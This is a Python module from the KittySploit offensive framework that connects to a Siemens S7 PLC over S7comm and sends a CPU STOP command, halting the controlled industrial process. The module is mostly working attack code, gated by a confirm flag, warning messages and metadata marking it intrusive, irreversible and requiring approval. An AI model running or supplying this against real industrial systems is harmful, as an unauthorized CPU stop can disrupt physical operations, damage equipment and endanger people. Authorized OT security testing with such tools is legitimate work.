#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.ics.constants import ICS_PROTOCOL_PORTS
from lib.protocols.ics.ics_scanner_client import Ics_scanner_client
from lib.protocols.ics.s7_client import S7Client
class Module(Auxiliary, Ics_scanner_client):
__info__ = {
"name": "S7 CPU STOP",
"description": (
"Sends a STOP command to a Siemens S7 PLC CPU. This halts the running process "
"and is extremely disruptive — lab use only with explicit authorization."
),
"author": "KittySploit Team",
"platform": Platform.OTHER,
"tags": ["ics", "siemens", "s7comm", "stop", "dos", "plc"],
"agent": {
"risk": "intrusive",
"effects": ["denial_of_service"],
"expected_requests": 2,
"reversible": False,
"approval_required": True,
"produces": ["risk_signals"],
},
}
port = OptPort(ICS_PROTOCOL_PORTS["s7comm"], "S7comm port", True)
rack = OptInteger(0, "PLC rack number", False)
slot = OptInteger(1, "PLC slot number", False)
password = OptString("", "Optional S7 session password", False)
confirm = OptBool(False, "Confirm intentional CPU STOP", True)
def check(self):
host = self._host()
if not host:
return {"vulnerable": False, "reason": "target not set", "confidence": "low"}
if not bool(self.confirm):
return {
"vulnerable": False,
"reason": "set confirm=true to acknowledge CPU STOP",
"confidence": "high",
}
if not self.is_tcp_open():
return {"vulnerable": False, "reason": "TCP 102 closed", "confidence": "high"}
return {"vulnerable": True, "reason": "S7comm port open", "confidence": "low"}
def run(self):
host = self._host()
if not host:
print_error("Target is required")
return False
if not bool(self.confirm):
print_error("Refusing to STOP CPU without confirm=true")
return False
print_warning("CPU STOP is destructive — authorized OT lab use only")
client = S7Client(
host,
self._port(),
self._timeout(),
int(self.rack or 0),
int(self.slot or 1),
str(self.password or ""),
)
if not client.connect():
print_error("S7comm connection failed")
return False
try:
if client.cpu_stop():
print_success(f"CPU STOP command sent to {host}:{self._port()}")
return True
print_error("CPU STOP failed — install python-snap7 for full CPU control")
return False
finally:
client.close()
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10 Jul 2026 11:31Current
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